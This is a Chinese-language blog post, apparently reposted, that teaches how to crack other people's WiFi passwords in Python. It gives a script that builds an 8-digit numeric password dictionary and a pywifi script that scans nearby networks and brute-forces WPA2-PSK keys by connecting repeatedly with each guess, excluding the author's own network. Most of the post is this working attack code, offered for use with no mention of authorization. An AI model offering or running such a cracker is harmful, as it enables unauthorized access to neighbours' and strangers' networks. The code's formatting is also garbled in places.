用Python语言巧妙的实现对WIFI密码的破解

在这里插入图片描述
前言
  相信很多小伙伴们对于如何破解WIFI密码有过较深的研究,一般时候用的最多的事WIFI万能钥匙类的比较多,但是很多的时候软件不安全还带有木马,针对这种情况小编教教大家如何用Python实线对WIFI密码的破解,废话不多说我们开始把。

正文
一、前言说明
  本机运行环境:系统环境Win10,运行环境Python3.6,运行工具Pycharm
  需要Python的包有:pywifi
  这是一种暴力破解wifi的模式,需要的时间比较长,本文主要提供一个破解思路
二、思路介绍
  先生成一个密码字典(此步骤也可以从网上下载字典)
  循环用密码字典的每个密码去尝试连接Wifi,直到成功
三、源码设计
  1. 密码字典TXT文件生成,本文提供的比较简单,实用破解可以根据一般密码设置,去生成比较大比较全的密码字典
  以下提供简单8位纯数字的字典生成方案代码GetWifiPsdDic.py
import itertools as its
if name == ‘main’:
words_num = “1234567890”
words_letter = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz”
r = its.product(words_num, repeat=8)
dic = open(“password-8位数字.txt”, “w”)
for i in r:
dic.write("".join(i))
dic.write("".join("\n"))
dic.close()
  2. 暴力破解密码,用时较长GetWifiPsd.py
import pywififrom pywifi import const # 引用一些定义import time
def getwifi(wifilist, wificount):
wifi = pywifi.PyWiFi() # 抓取网卡接口
ifaces = wifi.interfaces()[0] # 获取网卡
ifaces.scan()
time.sleep(8)
bessis = ifaces.scan_results()
allwifilist = []
namelist = []
ssidlist = []
for data in bessis:
if data.ssid not in namelist: # 去掉重复的WIFI名称
namelist.append(data.ssid)
allwifilist.append((data.ssid, data.signal))
sorted(allwifilist, key=lambda st: st[1], reverse=True)
time.sleep(1)
n = 0
if len(allwifilist) is not 0:
for item in allwifilist:
if (item[0] not in ssidlist) & (item[0] not in wifilist):
n = n + 1
if n <= wificount:
ssidlist.append(item[0])
print(allwifilist)
return ssidlist
def getifaces():
wifi = pywifi.PyWiFi() # 抓取网卡接口
ifaces = wifi.interfaces()[0] # 获取网卡
ifaces.disconnect() # 断开无限网卡连接
return ifaces
def testwifi(ifaces, ssidname, password):
profile = pywifi.Profile() # 创建wifi连接文件
profile.ssid = ssidname # 定义wifissid
profile.auth = const.AUTH_ALG_OPEN # 网卡的开放
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
profile.key = password # wifi密码
ifaces.remove_all_network_profiles() # 删除其他所有配置文件
tmp_profile = ifaces.add_network_profile(profile) # 加载配置文件
ifaces.connect(tmp_profile) # 连接wifi
time.sleep(5) # 5秒内能否连接上
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def beginwork(wifinamelist):
ifaces = getifaces()
path = r"password-8位数字.txt"
# path = r"password-常用密码.txt"
files = open(path, ‘r’)
while True:
try:
password = files.readline()
password = password.strip(’\n’)
if not password:
break
for wifiname in wifinamelist:
print(“正在尝试:” + wifiname + “,” + password)
if testwifi(ifaces, wifiname, password):
print(“Wifi账号:” + wifiname + “,Wifi密码:” + password)
wifinamelist.remove(wifiname)
break
if not wifinamelist:
break
except:
continue
files.close()
if name == ‘main’:
wifinames_e = ["", “Vrapile”] # 排除不破解的wifi名字
wifinames = getwifi(wifinames_e, 5)
print(wifinames)
beginwork(wifinames)四、最后小结
  上文生成字典有很多冗余密码成分,会大大加长破解时间,实用时可以更改密码生成方式。
结尾  通过本文的介绍是不是对于Python如何破解WIFI密码有了一个初步的了解了?关键是平时还需要小伙伴们的多多探讨。

文章来自:https://www.itjmd.com/news/show-6364.html

猜你喜欢

转载自blog.csdn.net/a6984021/article/details/88664070